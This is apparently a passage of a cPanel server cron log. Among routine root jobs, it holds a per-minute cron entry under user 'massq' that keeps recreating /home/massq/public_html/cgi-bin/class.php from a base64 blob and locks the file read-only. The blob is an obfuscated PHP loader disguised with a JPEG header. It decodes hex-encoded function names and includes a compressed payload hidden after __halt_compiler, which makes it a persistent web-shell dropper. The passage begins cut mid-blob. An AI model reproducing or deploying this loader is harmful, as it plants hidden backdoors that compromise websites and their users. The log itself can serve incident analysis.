1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:30:01 server CROND[24969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:30:01 server CROND[24970]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:30:01 server CROND[24971]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 23:30:01 server CROND[24972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:31:01 server CROND[25087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:32:01 server CROND[25218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:33:01 server CROND[25307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:34:01 server CROND[25375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:35:01 server CROND[25445]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:35:01 server CROND[25446]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 23:35:01 server CROND[25447]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 23:35:01 server CROND[25448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:35:01 server CROND[25454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:36:01 server CROND[25563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:37:01 server CROND[25635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:38:01 server CROND[25794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:39:01 server CROND[25852]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 23:39:01 server CROND[25853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:40:01 server CROND[25919]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 23:40:01 server CROND[25920]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 23:40:01 server CROND[25922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:40:01 server CROND[25921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 23:41:01 server CROND[26032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 23:42:01 server CROND[26101]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 23:42:01 server CROND[26102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
